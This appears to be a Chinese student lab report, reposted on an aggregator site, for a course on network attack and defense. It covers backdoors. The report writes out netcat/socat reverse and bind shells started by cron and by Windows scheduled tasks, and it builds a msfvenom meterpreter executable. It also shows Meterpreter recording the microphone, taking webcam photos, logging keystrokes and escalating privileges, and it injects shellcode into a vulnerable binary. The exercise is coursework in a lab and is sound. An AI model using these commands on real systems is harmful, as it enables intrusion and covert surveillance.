当前位置: 首页 > news >正文

20232406 2025-2026-1 《网络与系统攻防技术》实验二实验报告

一、实验内容及问题回答

1.1实验内容:

(1)使用netcat获取主机操作Shell,cron启动。
(2)使用socat获取主机操作Shell, 任务计划启动。
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2问题回答:
(1)例举你能想到的一个后门进入到你系统中的可能方式?
一个典型例子:供应链攻击
下载被篡改的开源软件或开发工具,攻击者入侵软件官网或镜像站,在合法软件中植入后门,
用户正常安装软件时,后门被同步安装到系统中。
例如:Python库、Node.js模块、系统工具等被植入恶意代码
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Win:开机自启动项
本实验中的定时启动
对有BOF漏洞的程序注入shellcode
(3)Meterpreter有哪些给你映像深刻的功能?
-内存驻留(无文件攻击)
-权限提升能力
-灵活的通信信道
(4)如何发现自己有系统有没有被安装后门?
-安装主流杀毒软件定时检测系统安全
-查看是否有异常端口

二、常用后门基本操作
2.1Windows获得Linux Shell
1)主机与虚拟机ping通
image
image
2)输入 ncat.exe -l -p 4328 使用ncat.exe程序监听本机的4328端口
image
3)在Kali环境下,使用nc指令的-e选项反向连接Windows主机的4328端口
4)成功获得Kali的shell,如下图所示
image
2.2Linux获得Windows Shell
1.使用nc指令监听4328端口
输入: nc -l -p 4328
2.在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的4328端口
image
3.Linux下看到Windows的命令提示,可输入Windows命令
image
2.3使用nc指令传输数据
1.Windows系统输入ncat.exe -l 监听4328端口
2、Kali下连接到Windows的4328端口
image
3.建立连接之后,就可以传输数据了
image
image
2.4使用nc传输文件(Kali->Windows)
1.要从kali传给windows,先在kali创建一个文件file1
image
2.按‘i’进入编辑 模式,输入一些内容作为记录
输入:wq保存并退出
image
3.Windows下监听4328端口,并把收到的数据保存到file1.out
image
kali反弹连接到Windows的4328端口, nc 172.16.214.178 4328< file1.txt
image
连接建立成功,kali可以收到Windows发来的文件
image
三、实践过程
3.1使用netcat获取主机操作Shell,cron启动
1.在Windows系统下,监听4328端口
image
2. 在Kali环境下,用 crontab -e 指令编辑一条定时任务
crontab 指令增加一条定时任务,-e表示编辑,选择编辑器时选择3。
image
3. 在最后一行添加30* * * * /bin/netcat 192.168.184.134 4328 -e /bin/sh意思是,每个小时的第30分钟反向连接Windows主机的4328端口
image
4. 当时间到了某个小时的30分钟以及以后时,发现win7端此时已经获得了Kali的shell,可以输入指令
3.2使用socat获取主机操作Shell, 任务计划启动
预备知识:
socat是ncat的增强版,它使用的格式是socat [options]

,其中两个address是必选项,而options 是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

  1. Win+R输入compmgmt.msc打开“计算机管理”,在左侧导航栏中的“任务计划程序”中“创建任务”
    image
    2.创建任务-填写任务名称-并新建一个触发器,当工作站锁定时执行操作
    image
    3.在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写 tcp-listen:4328exec:cmd.exe,pty,stderr ,这个命令的作用是把cmd.exe绑定到端口4328,同时把cmd.exe的stderr重定向到stdout上
    4.创建完成之后,锁定计算机让新的任务执行,此时,在Kali环境下输入指令socat tcp-listen:192.168.226.129:4328 tcp:172.16.214.178:4328
    image
    此时可以发现已经成功获得了一个cmd shell
    image
    3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    1.在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.214.178 LPORT=4328 -f exe > 20232406_attackdoor.exe
    P地址为控制端IP,即Linux的IP,其中-p 使用的payload,为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.LHOST是反弹回连的IP,即攻击机linux的IP地址,LPORT是回连的端口,-f是生成文件的类型, > 输出到哪个文件
    image
    2、通过 ncat.exe -lv 4328 > 20232406_attackdoor.exe 指令将被控制主机进入接受文件模式
    image
    3、 在Linux中执行 nc 172.16.214.178 4328 < 20232406_attackdoor.exe ,注意这里的IP为被控主机IP,即Windows的IP
    image
    4、 传送接收文件成功
    image
    5、 在Kali上使用 msfconsole 进入msf控制台
    image
    输入
    use exploit/multi/handler//使用监听模块,设置payload
    set payload windows/meterpreter/reverse_tcp//使用和生成后门程序时相同的payload
    set LHOST 192.168.184.131//这里用的是LinuxIP,监听端的ip地址
    set LPORT 4328//同样要使用相同的端口
    6、设置完成后,输入指令
    exploit
    image
    3.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
    1.使用 record_mic 指令可以截获目标主机的一段音频
    image
    2.使用 webcam_snap 指令可以使用摄像头进行拍照,但要先给win7虚拟机权限才行
    image
    image
    3.开始读取键盘记录keyscan_start
    读取键盘记录结束keyscan_dump
    image
    提权
    4.查看当前用户getuid
    输入提权指令getsystem
    image
    3.5可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
    实验一的第三部分里面,输入的32个“A”就是填充字符,90909090后面的代码就是一种shellcode,用来攻击的,在这次实验里面不同的是换了一种shellcode,但是功能更加强大,可以做到把shell通过端口发送出去,用MSF meterpreter接收后就能入侵靶机

1.首先把上次实验用的pwn1文件再下载下来,放在根目录就好
image
2.准备工作:
execstack -s pwn20232406 //设置堆栈可执行
execstack -q pwn20232406 //查询文件的堆栈是否可执行
X pwn20232406
echo "0" >/proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space 0

image
3.输入payload
perl -e 'print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
再输入 (catinput_shellcode;cat) | ./pwn20232406 敲一次回车,换到第二个窗口查看这个任务进程号为69151
image
image
4.在这个进程号窗口输入gdb打开编译器,输入attach 69151
image
5.在编译调试界面用 disassemble foo 对foo函数进行反汇编,找到ret的地址位0x80484ae
然后在ret的地址位置设置断点,输入指令如下 break *0x080484ae
回到之前的终端按下回车,再到gdb所在终端进行调试
image
6.设置完断点回车结束这个指令,弹出新的一行“(gdb)”,然后不要动,在注入代码的窗口按一下回车,然后在右边调试界面输入c 代表continue继续运行
7.回到另一个终端,将返回地址修改后,再将修改后的代码重新注入
image

四、 实验总结与体会
在这次实验过程中,我对网络安全有了更深层次的理解。首先,通过使用netcat和socat获取远程主机的shell控制权,我了解到了这些工具在渗透测试中的应用价值。它们可以简单而有效地建立远程控制通道,这对于评估网络的安全性非常有用。同时,我也学习了如何利用cron和计划任务来定时执行任务,这不仅是在日常自动化运维中的重要技能,也是理解恶意软件如何在系统中潜伏的关键知识。
使用Metasploit生成带有reverse shell功能的可执行文件,然后通过netcat传送至目标主机运行,进一步强化了我对远程控制和后门概念的理解。Meterpreter的强大功能给我留下了深刻的印象。
此外,实验还涉及到了利用Meterpreter进行音频录制、屏幕截图、摄像头拍照以及键盘记录等功能,很有意思。
这次实验不仅加深了我对网络安全理论的认识,也提高了我在实践中的技能水平。我学到了如何使用各种工具和技术来进行渗透测试,并理解了在防御方面需要采取的措施。

http://www.hskmm.com/?act=detail&tid=36808

相关文章:

  • 程序员必备!5款小白也能秒上手的AI编程工具
  • 笔记本 copilot按键 PowerToys映射
  • 实用指南:86-python电网可视化项目-6
  • 详细介绍:3.5mm耳机插座技术全解析:从镀层工艺到阻抗稳定性测试
  • 通过电脑调试 Android/iOS 手机端网页
  • CMS垃圾回收器详解
  • 网页自动转发替换图片
  • JavaScript 自定义元素类的作用域跨环境兼容管理
  • JMeter使用
  • 解决 Semi Design Upload 组件实现自定义压缩,上传文件后无法触发 onChange
  • QT实现QTreeWidget项目拖拽移动功能
  • lora学习笔记
  • 自动化释放5G全部潜力:新西兰电信One NZ的实践之路
  • cookie机制如何获取用户个人信息
  • 数据库——聚合函数
  • 第二十一篇
  • linux服务器操作系统字符集是GBK,tomcat和部署的程序是UTF-8,启动后应用界面乱码如何解决
  • DEIMv2浅读
  • 阿里出手了:全免费!号称国内版ClaudeCode?
  • [MS-DOS]MS-DOS 6.22 with CD-ROM Driver.ver.6.22.English下载与安装
  • 完整教程:2- 十大排序算法(希尔排序、计数排序、桶排序)
  • 分词器模型
  • 2025 年国内品牌设计公司最新推荐排行榜:聚焦行业领军者优势,精选优质服务商深度解析
  • 报考PostgreSQL中级认证证书多少钱?
  • 2025 年 LFT 材料源头厂家最新推荐权威榜单:复合 / 注塑 / 增强 / 轻量化 / 长碳纤 / 长玻纤 / 耐高温 LFT 材料优质公司推荐
  • Windows Server 2025 安装IIS服务
  • 易路薪酬能力深度解析:以科技赋能企业薪酬管理新范式
  • LaTeX 项目结构优化:从基础到专业
  • Java的优势有哪些
  • 传感类语音提示器语音播报芯片最佳适配方案WT2003H